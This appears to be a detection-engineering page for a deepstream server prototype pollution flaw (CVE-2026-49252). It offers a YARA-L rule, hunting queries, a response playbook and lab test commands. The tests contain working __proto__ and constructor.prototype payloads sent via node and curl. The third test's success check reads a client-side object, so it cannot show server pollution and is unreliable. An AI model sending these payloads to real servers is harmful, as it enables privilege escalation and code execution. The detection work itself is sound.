Detect Deepstream Server Prototype Pollution (CVE-2026-49252) in Google Chronicle
CVE-2026-49252 is a critical prototype pollution vulnerability (CVSS 9.9) in @deepstream/server versions prior to 10.0.5. An attacker can manipulate JavaScript object prototypes via crafted deepstream messages, potentially leading to remote code execution, privilege escalation, or denial of service. A public proof-of-concept is available.
MITRE ATT&CK
YARA-L Detection Query
rule cve_2026_49252_deepstream_prototype_pollution {
meta:
author = "df00tech Detection Engineering"
description = "Detects CVE-2026-49252 deepstream prototype pollution exploitation"
severity = "CRITICAL"
priority = "HIGH"
events:
(
$e.metadata.event_type = "PROCESS_LAUNCH"
AND (
re.regex($e.principal.process.command_line, `deepstream`)
OR re.regex($e.target.process.command_line, `deepstream`)
)
AND re.regex($e.target.process.command_line, `__proto__|constructor\.prototype`)
)
OR
(
$e.metadata.event_type = "NETWORK_CONNECTION"
AND $e.target.port IN (6020, 6021)
AND re.regex($e.network.application_protocol, `deepstream`)
)
condition:
$e
}Chronicle YARA-L rule to detect deepstream server prototype pollution exploitation via process command-line inspection and network traffic patterns on deepstream default ports.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate deepstream client applications referencing constructor in message keys
- Internal security teams running authorized exploit validation tests
- Application performance monitoring tools generating deepstream synthetic traffic
Other platforms for CVE-2026-49252
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Deepstream Prototype Pollution via Crafted Message
Expected signal: Process creation event for node with command line containing __proto__; deepstream server logs showing record set operation with anomalous key.
- Test 2Deepstream Constructor Prototype Chain Manipulation
Expected signal: Network connection to deepstream HTTP proxy port; JSON payload containing constructor.prototype keys visible in network capture.
- Test 3Post-Exploitation: Verify Prototype Pollution Success
Expected signal: Node.js process events showing deepstream client activity followed by stdout output confirming prototype state; heap analysis would show modified Object.prototype.
Response Playbook
Triage
- Identify all hosts running @deepstream/server and immediately check the installed version using `npm list @deepstream/server` or inspect package.json/package-lock.json — versions < 10.0.5 are vulnerable.
- Review deepstream server logs for anomalous message patterns containing __proto__, constructor, or prototype keys that may indicate exploitation attempts.
- Correlate network traffic on deepstream default ports (6020/6021) with client IPs; identify any unexpected or external sources connecting to the deepstream instance.
- Check for unexpected child processes spawned by the deepstream Node.js process, which may indicate successful code execution via prototype pollution.
Containment
- If exploitation is confirmed or strongly suspected, immediately isolate the affected host from the network or apply firewall rules to block inbound access to deepstream ports (6020, 6021) from untrusted sources.
- Update @deepstream/server to version 10.0.5 or later as the primary remediation; if immediate patching is not possible, restrict deepstream access to trusted internal clients only via network-level controls.
Evidence Collection
- Capture deepstream server logs from the time of the suspected exploitation window, preserving raw message logs if deepstream verbose logging is enabled.
- Collect Node.js process memory dump or heap snapshot if the process is still running to identify any modified prototype chains that may confirm successful exploitation.
Escalation Criteria
- !Escalate immediately to the incident response team if unexpected processes are observed spawning from the deepstream Node.js process, as this indicates successful remote code execution.
- !Escalate if prototype pollution indicators are found in logs alongside evidence of privilege escalation or lateral movement from the deepstream host.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js heap dumps showing modified Object.prototype with attacker-injected properties confirming exploitation. - >
Deepstream server access logs showing malformed message keys containing __proto__ or constructor fields from external client IPs. - >
System process tree showing unexpected child processes (e.g., shell commands) spawned by the deepstream node process post-exploitation.
Tuning Guidance
Reduce false positives by filtering on known-good deepstream client IPs and service accounts in your environment. Add allowlist entries for CI/CD systems and monitoring agents that legitimately connect to deepstream ports. For command-line based detections, scope to production hosts running @deepstream/server rather than developer workstations where prototype keyword usage in test scripts is common. Increase confidence to high after correlating with actual deepstream version telemetry confirming a vulnerable version is deployed.
Hunting Queries
Hunt for abnormal connection volumes to deepstream default ports that may indicate scanning, brute-force exploitation, or automated prototype pollution attack tooling targeting the server.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where RemotePort in (6020, 6021)
| where ActionType == "InboundConnectionAccepted"
| summarize ConnectionCount=count(), UniqueSourceIPs=dcount(RemoteIP) by DeviceName, RemotePort, bin(TimeGenerated, 1h)
| where UniqueSourceIPs > 10 or ConnectionCount > 500
| order by TimeGenerated descindex=* sourcetype IN ("stream:tcp", "network") dest_port IN (6020, 6021)
| stats count AS conn_count, dc(src_ip) AS unique_src BY dest_ip, dest_port, span(1h)
| where conn_count > 500 OR unique_src > 10
| sort -_timeAtomic Red Team Tests
Simulates an attacker sending a crafted deepstream message containing a __proto__ key to pollute the server-side Object prototype. Run only in an isolated lab environment against a vulnerable deepstream instance.
Command
node -e "
const { DeepstreamClient } = require('@deepstream/client');
const client = DeepstreamClient('localhost:6020');
client.login({}, (success) => {
const record = client.record.getRecord('test/proto-pollution');
record.set({ '__proto__': { 'polluted': true, 'isAdmin': true } });
console.log('Prototype pollution payload sent');
setTimeout(() => client.close(), 1000);
});
"Cleanup
Restart the deepstream server process to clear any prototype pollution from the Node.js runtime heap.Expected Telemetry
Process creation event for node with command line containing __proto__; deepstream server logs showing record set operation with anomalous key.
Expected Detection
KQL and SPL queries trigger on __proto__ keyword in process command line associated with deepstream client connection.
Attempts to pollute Object.prototype via the constructor key path in a deepstream record payload to test server-side sanitization.
Command
curl -s http://localhost:8080/deepstream-http-proxy -X POST -H 'Content-Type: application/json' -d '{"topic":"record","action":"set","recordName":"test/ctor","data":{"constructor":{"prototype":{"isCompromised":true}}}}'Cleanup
Delete the test record from deepstream and restart the server to restore clean prototype state.Expected Telemetry
Network connection to deepstream HTTP proxy port; JSON payload containing constructor.prototype keys visible in network capture.
Expected Detection
Network-based detection rules fire on payload containing constructor and prototype keyword combination destined for deepstream endpoints.
After sending a prototype pollution payload, verifies whether the pollution succeeded by checking if the injected property is accessible on a plain object in the server context. Simulates attacker confirming exploit viability.
Command
node -e "
const { DeepstreamClient } = require('@deepstream/client');
const client = DeepstreamClient('localhost:6020');
client.login({}, () => {
const rec = client.record.getRecord('exploit/verify');
rec.set({ '__proto__': { 'exploited': 'CVE-2026-49252' } }, () => {
const testObj = {};
if (testObj.exploited === 'CVE-2026-49252') {
console.log('PROTOTYPE POLLUTION CONFIRMED');
} else {
console.log('Server appears patched or pollution failed');
}
client.close();
});
});
"Cleanup
Restart the deepstream Node.js server process to flush polluted prototype from memory.Expected Telemetry
Node.js process events showing deepstream client activity followed by stdout output confirming prototype state; heap analysis would show modified Object.prototype.
Expected Detection
Process command-line detection triggers on __proto__ keyword; post-exploitation console output PROTOTYPE POLLUTION CONFIRMED may appear in application log aggregation.